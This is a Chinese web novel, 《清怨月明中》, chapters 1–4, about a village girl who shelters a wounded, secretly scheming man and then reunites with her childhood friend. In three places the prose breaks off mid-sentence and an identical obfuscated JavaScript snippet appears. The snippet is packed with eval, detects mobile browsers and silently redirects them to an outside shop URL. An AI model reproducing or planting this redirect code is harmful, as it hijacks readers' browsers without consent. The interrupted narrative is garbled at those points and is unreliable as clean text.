《清怨月明中》 1. 见之不忘 暮色深沉,空中悬着一轮孤月掩映在飘渺云层里,透出迷蒙的冷光。 李清月提着隔壁大娘赠的佳酿,悠哉悠哉的哼着曲。前面那座破屋便是她住了两年的归宿。 石坡村坐落在都城十几里开外,规模不大,没有依山傍水,也没有良田沃壤。正是太平盛世,又离花天锦地的都城近,村里凡青壮年的男人都远走他乡,女人另谋生路,余下的大多是孩童和高寿老人,村子荒了一半,苟延残喘。 像李清月这样年岁的少女,石坡村只此一个。 她的长相不算有多出众,却生得一双漂亮的杏眼,眉如新月、眼瞳泛着秋水般澄澈的光,将整个人衬得神清气朗。 但现在这张脸上尽是灶灰黄土,东一块西一块,头发散乱的簪着,明珠般的肌肤都由一身粗布衣裳掩盖,气质一落千丈。 她散漫惯了,白日里几乎不怎么出门,要么就一头扎进院子的田里摆弄什么,只有相熟的邻户才打个照面。 今夜的酒是她帮张大娘的酬礼,李清月不会喝酒,醉了不知道会是什么样子,于是回去后她先将酒坛埋到房后的树下,进屋捋清了明日要播种的菜种,刚要睡下,忽然在地上瞥见一滴血迹——虽然干涸了,但颜色还是鲜红的。 她心慌了一瞬,壮着胆子去拿墙边靠着的锄头,手还没碰到就感觉脖颈一凉,一柄锋利的匕首架在动脉处,铁刃泛起银光。 一个男人的声音贴在她耳边,带着粗重喘息:“不要动,我不杀你。” 李清月此时已经腿软了,背后全是冷汗,轻轻点头道:“我不动,我也没有看见你,你想要什么?” 身后人思绪停顿片刻,刚要开口说话,忽然一阵头晕目眩,腹部的伤愈发刺痛,一头栽倒在李清月的背上,她猝不及防跟着扑倒在地上,疼得呲牙咧嘴。 “你干什么!”李清月张牙舞爪翻过身,看见地上一滩血迹由那人身下蔓延出来,顿时慌神将人拖起来。 “你怎么了?还有意识吗?”她拍拍男人的脸,见人双目紧闭,立即去摸颈动脉,还好有一息尚存。 李清月蹙起眉头,用布巾使劲按住伤口止血,一边解开他的衣服。 “天呐……” 李清月傻眼了,没见过有人身上受过这么多伤,有深有浅,大多留下浅白的疤,深的泛着微红的肉色。 他身上伤的最重的伤口在右腹偏腰侧,正不断涌出鲜血。虽伤不在要害,但口子很深,切口明显是锐器戳刺,看血液状态起码有些时辰了,其余还有零碎的伤口,应该是同一利器所致,衣裳沾满了血污泥巴,好不狼狈。 李清月懊恼的叹了口气,喃喃道:“恐怕我是摊上麻烦了。” 第二日午时李清月背着箩筐推门进来,看见床上的残障人士已经醒了,靠坐在床头出神。 李清月放下箩筐和手里的物件道:“你醒啦,别坐着,腰腹用力会牵扯到伤口,再崩裂可难办了。” 病患点了点头,偏头轻咳几声,“多谢姑娘相救,昨夜并非有意冒犯,实在是无奈之举,只想谋条生路。” “我明白,”李清月走近了打量着他,“我也不是有意帮你的,只是不能见死不救,你不必多心。” 那人怔愣片刻,微微躬身作揖道:“大恩不言谢,在下之恒,定然铭记姑娘的宽仁之心,但待我走后,烦请姑娘不要透露今日的事。” “你抬起头来。” 董良下意识仰起脸看向李清月,却被捏住下巴,一时滞住呼吸,“姑娘?” 李清月俯身盯着他的脸,真是一张招惹祸水的脸—— 眉目深邃、鼻梁高挺,薄唇泛着水光抿成一条直线,嘴角下靠左的位置有一颗小痣,勾得人心悸。 眼神真是纯粹啊,一副任人宰割的模样,带着病气的脸颊沾染绯红,呼吸还因为疼痛紊乱失序。 她心中起念,指腹摩挲着董良的下巴,笑着说:“你的脸真好看。” 董良回过神忍住要脱口的斥责,推开李清月的手,咳了几下道:“姑娘说笑,男人的脸有什么可看的。” 李清月贼眉鼠眼的看着董良,像看一块盘子里的点心,“你方才说大恩不言谢,那你打算用什么谢我?” 董良微微蹙眉道:“姑娘有所求的事物?” 李清月思索了一下说道:“我还没想好,不过你放心,我不要金银玉器,也不会让你摘星捧月。不如近些日子你先留下来养伤,说不准等你伤好了我就想到了。” 他眉头蹙得愈紧,语气却刻意放缓了,“姑娘,你我素昧平生,见面不过两次,我甚至不知晓你的姓名……而我一个负伤在身、行走不便的男人若宿在你这,恐怕不妥当。” 李清月了然的点头道:“原来你担心这个,我叫李清月,岁满十九,无父无母,家中就我一人,方不方便全凭我做主。” “就是一个人,才不能留宿。”董良无奈的摇了摇头,仿佛与面前这个人说话,如同对牛弹琴,又觉得不可理喻,以貌取人太过于天真。 李清月拿起药包拆了一副,在炉边坐下,煮水着手煎药,一边开口道:“我昨夜为你包扎,看清了伤口,明白伤人者并非善类。” 董良心中愕然,面上依旧不动声色。 “但我不在意你的来路、过去与身份。”李清月伸手从箩筐里捞出颗果子,随手擦擦啃了一口,“我无财无色,你不能图谋我什么,若是要取我性命灭口,昨夜就动手了。反倒是你处于劣势,行动不便、吃穿用度都由我置办,我大可以在饮食里做文章……” 董良神色骤然转冷,盯着李清月的脸琢磨这些话能有几分真几分假。 而对方毫无察觉的自顾自说着:“所以你的来历我不会好奇,不会过问,我的从前你也不用深究,既来之则安之,我们只从现在开始相识。” 董良低头沉吟片刻,开口说:“那你平白无故救我信我,又所求为何?” 李清月垂头看着炉火,几缕鬓发挡住眉宇,染上些许落寞,“我一个人住在石坡村,至亲之人早已离去,我没有兄弟姊妹,与村民们也不够相熟,这些年岁里,我最常做的事便是坐在院门口发愣,每日自己同自己讲话……” “……” “我就是想……你若留下来,我就不必像个傻子一样自言自语。我就是想有人说说话。” 李清月掀起眼帘,用那双水灵灵的眼瞳望进董良眼中,此时倒有一些妙龄少女该有的楚楚可怜。 董良心头一紧,无端联想起自己年幼时失去至亲后孤寂的每一个夜晚。 他垂眸不语,终是点点头,“盛情难却,董某便冒昧叨扰李姑娘了。” 李清月本来准备好了别的说辞挂在嘴边,又咽进肚中,化作一团暖意在心头。 今后的日子说不准都有人相伴了,自己终于不必再对饮空月。 她冲着床上只见了两面的男人露出一个纯粹又灿烂的笑容,笑意催得眉眼都弯成月牙状。 这个笑容,董良多年以后都不曾忘却。 在董良养伤的这段时间里,他真真切切的体会到了什么叫做:饱食终日、游手好闲。 李清月靠搬来邻里不用的木床,贴墙那头睡,从没有早起这一说,每每睡到日上三竿方才迷迷糊糊起身梳洗。 董良因着从前的习惯,夙兴夜寐,再加之伤口时不时抽痛难忍,睡不安稳,每日天蒙蒙亮就晨起,拾掇好自己上床躺下,李清月正在梦乡里神游呢,他只得干巴巴坐着干瞪眼。 待到她终于梳洗完清醒了——就又要去田里薅菜做一锅难吃的糨糊。 那几日吃得董良苦不堪言,却碍于寄人篱下,有口难说。李清月倒皮糙肉厚笑得欢实,时常拉着董良鸡同鸭讲一下午,都是些狗屁不通的坊间传闻,其中不乏宫廷秘事,让她虚头巴脑的抖出来,惹人发笑。 董良渐渐也习惯了这个乡野姑娘超凡脱俗的开朗性子,他对李清月不报期望,毕竟是逃难当中,哪能寻到从前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074691|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那般奢靡的条件,虽然对她好吃懒做的生活不能苟同,但毕竟自己身上的伤都是人家悉心照料才得以康复,也不好多说什么。 而且只要每日顶着这张脸、温声细语的讲几句敷衍的话,一天也不用做什么,索性不再想该如何脱身。 然而在李清月心里,董良才是那个不解风情的人。她有话不喜欢憋心里,但苦于实在没有人能言说,卧薪尝胆好些年差一点就要把自己“闷死”,好不容易碰到个长得好看又学识渊博的人陪她,以为定然能与对方推杯换盏,不亦乐乎。 结果却是——这个男人是个彻头彻尾的闷葫芦。 古板、木讷、沉默寡言,有时还会长篇大论说教自己,听闻此人自称年岁刚过二十,李清月怎么觉得这分明是个老骨董。二十岁风华正茂的翩翩佳公子,身体里却住着一个老头,太浪费这张惊艳绝伦的脸。 但正因如此,她才总想去招惹这位受伤不能自理的弱公子。只要稍加撩拨,就惹得董良方寸大乱,面红耳赤、溃不成军。 李清月曾因为好奇董良披头散发的模样,便和他提议梳洗完由自己为他挽发。 董良满脸错愕看着提出这样荒唐话的人,有哪家未婚嫁的姑娘会想为男子挽发的? 当然,这也不是李清月第一次被人怀疑脑子有问题,她很自然的笑了两声,继续旁敲侧击道:“你不必担心,此事天知地知、你知我知,又没有旁人在,只要你应允了即可。” “简直是胡闹,你我同住一屋已经是……” “你可别再搬出那一套世俗礼教来,”李清月慌忙打断,免得自己耳朵长茧,“我就是个书都没怎么读过的俗人,你说的那些我一概不懂,只从心而为。” 董良无奈的摇了摇头,感到一阵头疼,伸手揉着额角道:“总之我不同意,你也该收敛些性子,不要成日像土匪一样横行……更不该对与你共处一室的男子说这种话。” 李清月听了面上没再吭声,肚子里憋着坏水呢,当天晚上趁董良睡得早,她把人家的头冠和发带一并藏到了床底下的一个筐子里,用旧布衣遮住了。 第二天早上董良醒来后死活遍寻不到,不出片刻就猜出来是哪个缺心眼干的了。 于是李清月依旧没心没肺的睡到自然醒,睁开眼就看到一位散发美人直勾勾的盯着自己,还以为美梦没醒。 那是面色铁青的董良,僵硬狰狞的瞪着李清月的模样。一般人要是这幅表情,通常实在不能说好看,可董公子顶着这张如何都不能不美的脸,一点威慑都没有。 “李清月,你玩够了吗?”董良压着怒火没有发作,眼眸中压着一丝冰冷。 李清月原本没当回事,却第一次见董良真的动气了,提名带姓的叫她,一时心慌道:“你别生气,我承认,我拿的,我错了……” 董良盯着她没有吭声。 他原本是懒得与书都没读过的人计较那么多的,平时只要顺着她的话说,就能免去许多麻烦。对于李清月三番四次来冒犯,他也只当对方是个不够成熟的孩子,装出木讷寡言或是她想要的样子也就作罢了。 但这个“登徒子”居然愈发得寸进尺,发带与发冠尽是贴身之物,李清月为了逗弄董良毫无分寸的私藏起来,让他忍无可忍。 “从今日开始,我们约法三章。” 李清月紧张的看着董良,听着他压着怒气的声音,忽然从心底升起一股羞赧,泛到脸颊上去。 或许之前都没能将董良惹生气,她自作多情的以为对方也有半分愿意,所以肆无忌惮想试探他的底线,到最后发现自己成了十恶不赦的人。 待他说完,李清月没有反驳一句,还让董良有些奇怪。 李清月只点了点头道:“对不起,董良。” 那是她第一次感到卑怯,感到自己是一个粗野、世俗、愚妄无知的人。 董良眼神里的居高临下深深刺痛了她,从那天起她就意识到,两人之间隔着一堵密不透风的墙。 2. 既来之则安之 那天之后,两人之间的气氛变得凝重起来。 从前那样活络是多亏了李清月话多,但现在她收敛性子闭了嘴,有时反倒叫董良不适应。 但他也没有过分在意,左右不过再待数月,就要着手筹谋回城的打算。 李清月倒是因此勤奋了不少,她下定决心,一改偷懒的作风,董良每晚吹了灯,她就跟着一起睡,早上让他帮忙叫自己起来。 夏末退却,蝉鸣消散,秋风裹着丝丝微凉送入屋中,带起一地枯叶。 一月过去,董良的伤已经不怎么会痛,只要不牵扯到腰腹就没有大碍,他硬生生躺了一个月,实在要闲出毛了,就想下床走走。 刚推开房门,就见李清月弓着腰拨弄着田里种的乱七八糟的蔬菜苗。 “在做什么呢?”董良缓步走近。 李清月吓了一激灵,懊恼的说:“我没想到,菜不够吃了。” 董良瞥了一眼菜田里那些歪瓜裂枣,“你从前一个人住,吃穿用度都从哪来?” 李清月讪笑道:“我一个人,田里的菜或是去远一些的山里摘的果子都够吃了,还有帮村里人带孩子也能得些酬礼,不怎么进城。” 董良一脸错愕的盯着李清月看了一会,确信她说的是真的,但不免多问一句:“你没有正经的营生吗?” 李清月摇了摇头。 “村子里旁人都靠什么生活?” “家里有男丁的,大多靠夫君或是长子,没有的则倚靠种田去城里卖菜,还有一些摆摊做绣品、木工。” “……那你会哪样?” 李清月挠挠头笑说:“好像都不大行。” 董良顿感疲惫,“你怎么什么都不会,怎么长这么大的。” “早些年不住这里,和家人一同生活,没愁过吃穿……” 董良微眯了眯眼睛,没有追问下去,轻叹一声:“多一个人就多一份口粮,让你一个姑娘养着,我反倒成日无所事事,终究不妥。” 李清月慌忙摆手要打断,却听他执意说完—— “我近日能下地了,又不算残废,不好让你一直一个人忙活,若有力所能及的事,自当去做。” 李清月有些吃惊,一时不知道该说什么算好。 自从上次“约法三章”之后,她尽可能避免与董良共处一室,没事就找由头出门溜达,正好去附近小山头采草药回来,要么就在邻里串门、去村塾借书回来给董良解闷——总而言之,她一直认为董良没有消气,或是已经厌烦自己了,她也不自讨没趣。而且董良刚来时那身衣裳的料子……绝不是什么寻常富贵人家的公子。 他居然愿意屈尊降贵帮自己做农活赚钱?李清月觉得有些痴人说梦。 不过他真的自己提出来了,李清月心里还是升腾起一丝雀跃。 “你的伤不在腿上,却在肺腑间,下地走动没磕碰倒是无伤大雅,但要做使力的事就不行了。” 李清月直起身,拍了拍衣裙上的土,松散的束发随着动作颠动,垂下一缕在脖颈后,一旁的董良看着她细白的后颈和耳边翘起的一撮发丝,抿紧嘴唇默默移开了目光。 “那便不做力气活,总有谋生之道。” 李清月抬眼看着他问:“那还能做什么?” 董良嘴角勾起一抹笑,“足不出户也能解决温饱。” 李清月眼睛一亮,绽开一个笑。那一刻她整个人从头到脚都迸发出属于豆蔻年华的蓬勃,如同鸟雀一般轻盈。 “是什么?” 见她越好奇,董良越想卖关子,“现在不说,等你为我寻来笔墨纸砚,我细细讲给你听。” 李清月连连点头,仰着脸冲董良笑:“这个不难,村塾就有。” 只是说完,她又犹豫的皱起眉头,不知道在盘算什么,于是董良微微俯身问:“怎么了?” “董良,你为什么愿意做这些?你明明可以假装病痛,袖手旁观。” “……缘由我方才交待过,有哪里不解?” 李清月摇摇头,清亮的眸子好像能直直望进人心里。 董良心中的算盘拨乱了一瞬,轻咳一声道:“李清月,你真的很敏锐……其实倒没有什么冠冕堂皇的理由,就像你愿意救我一样。很多事情……是想做就做了。” 那时他还不知,自己口中说的“想做就做了”会牵扯出多少纷扰不休的思绪。只是当下便像李清月曾说的那样,从心而为。 李清月听了这一番话,忽然觉得自己与董良中间的那堵墙并没有自己想的那么无坚不摧。 赶在晌午之前,李清月去了私塾,留董良在家掌勺——毕竟再难吃也不会比她做的一锅乱炖要好吃。 私塾是这几个村里唯一一个读书的地方,都是村民们合伙出钱,从买木材开始一点点建起来的,只为了给下一代孩子们一个识字的机会。虽说饱经风霜,已经有破旧之相,但仍旧窗明几净,时有孩童的朗朗读书声传出,是村里最干净的地方。 李清月没读过几本书,字认不全,但对读书一事总有敬畏之心,来之前刮干净了鞋底的泥,小心踏上学堂的木回廊。此时夫子们都在屋里讲书,她没敢叨扰,靠在廊柱上静静听着。 正讲到《礼记》的一句:“君子不失足于人,不失色于人,不失口于人。” 这是孩童开蒙所学,李清月听着熟悉,依稀觉得董良好像扯过一两句类似的,只是自己没听懂,现在听讲师娓娓道来,心里又涌上那股熟悉的自惭形秽。 她耐着性子听完这一堂课,等夫子将要走出来时挺直了脊背,收敛起方才的心绪。 三言两语讲明来意,对方没有吝啬,只说有人能物尽其用是好事,取来笔墨没有收钱财。 李清月心里有些酸涩,郑重接过道了谢,挥手作别。 走到家门口,她看见董良正坐在院里的木桌前,听见响动便往这边望:“回来啦。” 李清月心中升腾起一丝暖意,好像万家灯火之中,也有一盏为她而亮。 不过她心里还是有一块石头硌着喉咙,一脸沮丧。董良接过东西微微皱眉,“怎么了?是私塾有人为难你了?” 李清月摇了摇头,忽然没头没尾的说了一句:“之恒,我想识字。” 董良眼中闪过愕然,试探着问:“为什么忽然想起这个,可是因为……去私塾的原因?” 李清月摆弄着衣袖上的一根线头,低声道:“并不全是,只是闲来无事打发时间罢了。” “若想打发时间,闲来认个字倒是正途,总比每日招猫逗狗好。” 李清月犹豫着开口:“所以我想着,我这个年纪不好再去村塾请教……” 董良瞥了她一眼,走到桌边铺开宣纸坐下:“去帮我倒杯茶水过来。” 李清月怔愣着点点头,将茶水递给董良时带着几分小心翼翼的讨好。 董良倒了几滴水落在砚台上,随即拿出墨条在上面画圈磨,“你站到我身后来,看好。” 李清月听话照做,从他肩背后看去,只见他一手镇纸,另一手执笔沾了点墨,落笔在宣纸上,徐徐写下一个“李”字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074692|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这是你的姓氏,‘李’。” 李清月不自觉攀住董良的肩,发出一声真挚的赞叹,“董良,你写字真漂亮。” 董良没有抬眼,接着又写下“清月”两个字。 “这便是你的名字,‘清月’。” 李清月看着纸上的形状,把这两个字在口中嚼了一遍:“清月……” 他转过头,微微颔首:“记住笔画了吗?” 李清月心虚的左右乱看,董良便知道她一定分神想别的了,一时有些后悔揽下这桩差事,只能皱着眉道:“我再写一遍,你用心记,一遍两遍记不住不要紧,关键在于有多少决心。” 她连连点头,看着董良那双修长白皙的手执着笔,目光凝神在纸面上一笔一划写下字迹,侧着的半边脸勾勒出冷峻,是他不苟言笑时才会显露的本性。 董良皱眉抬眼,语气不耐:“你真的看了?” 李清月傻笑了几声。 他无奈摇了摇头,放下笔,“今天先到这里,你没有心思学,便听我交代些别的事情。” 李清月如蒙大赦,屁颠屁颠走到他面前等着他说。 董良几句交代清楚了章程,从靠什么赚钱到如何贩卖都说的事无巨细,就怕哪一环这个文盲听不懂。 “你是说你要仿字画以此卖钱?!” 董良点点头。 “可是……你会吗?感觉画这东西可不容易……” 他思索片刻道:“为今之计,只有这个最可能实现。 “字画你不必担心,我从幼时就学这些,虽拿不出什么水准来,但也能看得过去。再者这种流传在民间的仿品大多都很粗陋,真正的藏家不会去买。” 李清月又问:“那能卖的出去吗?如你所说,若藏家不买,普通人家要这百无一用的纸做什么?” 董良轻笑几声,边收拾桌案边道:“所以才要像我教你那般,不要大张旗鼓的卖,而是偷偷贩卖,自然有酒囊饭袋为了逞风雅而上钩。” 李清月一听,心里豁然开朗,这么一说这真是一条发家致富的康庄大道,说不准不日两人就能过上有牛有羊,要风得风、要雨得雨的日子。 她激动的在心里谋划,等董良喊她回屋时,都已经想到在邻镇买的新房长什么样了。 董良习惯了李清月这股风风火火的做派,自己去厨房盛饭去了。 如果说李清月做的饭是“融汇天下食材”,那么董良做的饭就是“清心寡欲丸”,一个一锅乱炖,一个不放油盐、还夹生。 两个人吃了都是一脸菜色,董良难以置信的回屋翻出菜谱,一一比对步骤。 晚上,李清月吹了烛火躺到床上,回想这一天的事心里美滋滋的,做梦也想不到自己能碰上一个玉树临风、还学识渊博的人与自己作伴。当初想留下董良她是没想那么多的,只知道迫切渴望一个同伴,哪怕不能够理解自己,只是愿意听她说什么。 况且留董良养伤她也不亏什么,反而能帮自己赚到钱,可谓是“烛底花焰锦上添”,百利而无一害。 想着想着,李清月就困倦的笑着睡着了,徒留董良一人仰躺在床上发愁。 他伸手摸出枕下的匕首,刀刃出鞘露出曾沾满血液的刀面。 从前的日子就是在这刀刃上行走,如履薄冰,稍有不慎就要皮开肉绽、鲜血淋漓。自从失去避护,董良从没睡过一个好觉,有时夜半惊醒,背后连着床褥都被冷汗浸湿。 然而现在他闭上眼,只觉得往日的腥风血雨都已经远去了,只剩下一股野花淡淡的幽香。 3. 天降竹马 李清月做梦也没想到,居然能与易恒重逢。 然而此刻人就站在院门口,手里拎着鸡零狗碎的东西,面色说不出喜怒,依旧那么不近人情。 她与易恒相别,已然数年。 易恒曾由她们家收养过一段时日,那时李清月10岁,方才懵懵懂懂明白一些人情世故,知道易恒是逃难来的,比她只大一岁,双亲死在了逃难的路上,留下他一个孩子颠沛流离。于是她感同身受,自觉同病相怜——都是没了爹娘的孩子,只不过他更惨,衣衫褴褛、风餐露宿,身上没有一块好肉。 之后得知他成了自己的玩伴,李清月总在心里认为自己应该罩着他、让着他一些。结果这家伙反倒不领情,对她爱搭不理,住了十几天时,连一个字也吝啬和她说。 直到有一次李清月在深更半夜敲响他的房门,那时屋外雷声轰鸣,她捉弄人的歪点子数不胜数。易恒当时缩在床角一声不吭,脸色吓得发白。李清月终于是发现了他的软肋,抱着好好嘲笑他一番的心思推门进去,却发现他居然哭了。 自那之后,二人消泯隔阂,不再针锋相对,抱作一团取暖。 在李清月十四岁时,易恒十五岁,已是少年心性,不愿居于人下,就此二人又作别。 别离期间两人也有过几封书信往来,本以为迟早能再见,可惜天不遂人愿,一场劫难过后让他们断了联系,至今未能寻到彼此。 易恒可谓是李清月从小唯一的玩伴,也是现在唯一的家人。一打照面李清月喜极而泣,扑进易恒怀里哭的一把鼻涕一把泪,毫无形象可言。 易恒摸着李清月的脑袋,心绪五味杂陈,最后千言万语汇成一句:“这个男人是谁?” 李清月这才想起来丢人,胡乱抹了把脸侧身说道:“这是我……的朋友,董良,暂住在家里养伤……” “养伤?”易恒挑眉打量着他,“为什么要在你家养伤?” 董良对上不客气的视线没有恼,淡淡开口道:“李清月,若有不方便,我正好出院子走走。” 李清月连连摆手:“没有没有,没有不方便,都是一家人,这是我从小一起长大的竹马,易恒。” 董良微微颔首:“我去煮茶。” 没等李清月再说什么,董良就转身进了屋,易恒则拉着她往外走了一段。 “怎么了怎么了?” “你和一个男人共处一室?” 李清月眨眨眼说:“易恒,怎么几年不见你一点都没变,脾气还是这么臭,会不会好好说话?” 易恒呛了一下,语气生硬道:“我看你和当初也一样蠢,你拿对方当朋友,却不知对方在心里如何揣度你。” 李清月皱起眉:“你这话什么意思,我有明辨是非的能力,又不是几岁小孩了,别在我面前逞英雄。” 易恒听她语气真有些被惹火,立即住嘴没有再说下去,久别重逢,他不想把时间浪费在争辩上。 他叹了口气,“不说这个了,月月,你怎么会住在这里?我找了你好久好久,两年前到底发生什么了?” 李清月垂下头犹豫着措辞,艰难的和易恒道明原委,那些原本以为已经释然的事情,在脑中翻滚一遍竟又牵扯到肺腑,也不知道是不是面对着故人,她生出一股无名的委屈,待一席话毕,易恒紧紧抱住了自己,声音沙哑,“你一个人受苦了。” 她当即红了眼圈,硬是憋着没有哭。 “不苦,我在这住得也挺好的。” 易恒松开她道:“不必在我面前逞强。月月,随我一同南下吧,过从前自由的日子。” “我不能走,”李清月摇摇头,“我心里还有牵挂的事。” 易恒皱起眉,脸色冷下来,“是因为往事,还是因为那个男人?” 她抬起头,眼神清明,“易恒,我明白你关心我,我信你。但我有自己的决断,明白自己想做什么,既不会因为他停驻,也不会因为你而南下。” 易恒别开视线,轻轻点头,“抱歉……我不想为难你,一切我都依你。” 李清月笑着拍拍他的肩道:“不错,你小子有长进了嘛,不再是驴脾气了,快和我讲讲都发生什么叫你变这么乖了。” 易恒忍着和她在这大吵一架的欲望,没好气的随便回了李清月几句。 —— 董良坐在屋里的桌案边正一边喝茶一边提字,对于外面两人在密谋什么全然不感兴趣,只是在细细揣摩方才那个人的言行举止。 从衣着来看,应当是个干练利索的人,衣料配饰都不算上乘,不像是王侯将相的公子,但他眼神锐利、谈吐清晰,应该也不是普通白生,最重要的是——董良看到了他身上有一柄佩剑,正背在背后。 寻常百姓绝不会有的物件,即便是官宦人家也不会青天白日配着一柄长剑闲庭信步,只有宗室子弟才会佩剑,而董良凭直觉认为他应当不是。 思及这里,董良眸色一暗,写字的手稍有停顿,在纸上晕开一片墨色。 “清月,过来看看我新写的这幅字。”董良见二人回来,搁下笔说道。 李清月怔愣了一瞬,对自己方才听到了什么感到不可思议,两步并做三步走过去。 “清月,认得这几个字吗?” 李清月迷茫的摇了摇头,随即悄悄凑近了董良说:“你叫我清月?” 董良朝她勾起唇角,点头说:“你之前叫我的表字,如今我们已然相熟,我唤你一句‘清月’,也并不算唐突吧。” “董公子,你既是读书人,又何必拿话诓她,你连家室底细都不敢言明,如何算得上相熟?”易恒跟着迈进屋子,来者不善。 董良微躬下身,拱手作揖:“易兄,我们应当是初次见面吧。” “……” 他笑了笑,直起身子,“既然素未谋面,为何对我有敌意呢?” 易恒拉着脸盯着董良的笑面,一言不发。 “至于方才所问,那是我与清月的事,她若不想知道,我也不会多这一嘴。” “我会查清楚你到底是谁。” 董良叹了口气,不再理会,转身收拾桌案上的笔墨,“清月,我去做午饭,这些纸张暂且不要动,还没有干。” 李清月点点头,待看着董良走进伙房,才松了一口气。 “易恒,你为什么生气?” 他眼神阴郁,望着董良远去的方向,“他来这里多久了?” 李清月皱眉答道:“一月有余……怎么了?” 易恒摇了摇头,回眸看着她说:“许久未见你,遍寻不到你,我一直很焦急,你不能同我走,不日又要作别……所以此番,我想在村子里陪你住些时日。” 李清月惊喜的握住他的手,笑眼弯弯,“你能留下自然好,我也有许多话想同你说,就像小时候那样。” 易恒勾了勾嘴角,抬手摸摸她的头。 “只是若想住下……我这小破屋也没地方了。” “不要紧,我在村里近处寻一间空房租下就是。” “此次要住多久?”李清月仰起脸看着他。 “大约不满一月,之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074693|195234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后要入王都谋差事,恰好这里离城近,我也好提前做准备。” “我不便进城,恐怕帮不上忙,临走时也不能送你到城门了……”李清月有些落寞的说。 “我明白,不要紧,你只要安好便好。” 这话一直暖进她的心里,李清月觉得这次见面易恒和从前已经大不相同,特别是对自己……总觉得有些好过头了。但她那榆木脑袋始终没想明白是因为什么,只当易恒良心发现,知道感恩戴德了,心里有些美滋滋的。 这次午饭还由董大厨掌勺,比上次精进了不少,起码已经是熟透了的食物,虽然卖相不好看,但另两个也不会下厨的闲人没资格指点。 用过饭后,董良仍旧在筹备字画买卖,易恒则带李清月去邻镇置办东西了,回来时已然日暮西沉,和他道别过后,李清月欢天喜地的回来推开房门,接过董良递来的水一饮而尽,激动的说:“你不知道,我第一次去镇上的集市,特别热闹,卖什么的都有……” 董良静静听着,时不时点头附和,看着她手舞足蹈的模样觉得十分有趣,也算没枉费自己平日算尽心机装出一个温润君子来。 “然后呢,我看到这上面的兰花一下就想到你,觉着跟你很配,所以就买回来了,给。” 李清月把一个香囊塞进他手里,眼神直勾勾的看着他。 董良依言将香囊举起来轻嗅,一股温和的草木香混着一丝兰花香飘进鼻腔,让人没来由的心中安定几分。他显然有些意外,自己从前没佩过香囊。 “怎么样,香吗?”李清月探着头观察他的表情。 他眉目间染上笑意,指尖摩挲着布面,声音愈发温柔:“有好闻的清香,李清月,谢谢你。” 这谢意十成十的真,李清月看在眼里,心想这香囊真是买对了。 “清月,我有话想同你说。”董良将香囊收好,正色道。 “何事?” 董良叹了口气,微微蹙眉:“白日我与易兄有所争执,不知道哪里惹他不快……” 李清月摆摆手:“你不必在意,他从小就是这般臭脾气,每天板着个脸,也不大会说话。” “但他说的确实是对的,是我理亏……” 李清月思索片刻道:“你也没说错什么,我知道你们都没有恶意,所以不必挂心。再者,此事是我提出不在意的,我说过不会好奇你的身世。” 董良略微松了口气,但依旧装腔作势道:“话虽如此,但既然易兄要在此小住一段时日,我不想与他再起争执……不如明日让我与他单独相谈,有话说开了便好。” “单独相谈……” “你不信我?” 李清月摇摇头,“并非不信你,只是怕那家伙冲撞了你。他性子有些急,又有武功在身,我怕他一言不合就动手。” 董良微微眯起眼睛,心里上下盘算一番,柔声道:“不要紧,你放心,我还是有分寸的,再者我有伤在身,易兄应该不会趁人之危。” 李清月犹豫了一会,最终点头答应,“我帮你问问他,你们谈话我会回避的,你也不用太忧心,他……” 董良听着李清月真心实意安抚他的话,慢慢露出笑容,却不达眼底。 若想要查明他的身世?做梦吧,全盘筹谋怎能毁于蝼蚁,这种自作聪明的小虫子还是尽快除掉吧。 李清月仍然喋喋不休的在讲着什么,全然不知这个坐在自己面前、全心全意相信的人心里正谋算着如何一步步除掉自己的挚友。 而他对自己的每一次笑,也都是假的。 4. 剑拔弩张 清早起来,秋高气爽,正所谓一日之计在于晨,因为给董良疗伤而疏于打理菜田,致使种的蔬菜都萎靡不振,所以李清月今天破例起了个大早,天蒙蒙亮就梳洗完钻进她的田里去了。 易恒知道李清月从小就喜欢摆弄这些花花草草,种过不少匪夷所思的植物,所以来了院子也就是坐着静静看她打理,时不时点评几句。 “这是在做什么?”董良穿戴齐整推开房门,缓步走到院中。 李清月直起身,胡乱抹了一把额头的汗道:“你起啦,我在给菜松土施肥。” 董良微微皱眉走近了,刚要拿出巾帕给她擦汗,手腕却被用力握住。 “你要干什么?” 董良眯了眯眼睛,挣动了一下想抽回手腕,换来更紧的桎梏,“易兄,你看不到清月脸上的汗吗?” 易恒皱起眉,在李清月回头时松开了手。 董良勾唇冲他笑了一下,执起帕子轻轻拭去李清月额角、发间的汗,“忙了这么久,歇息一会吧。” 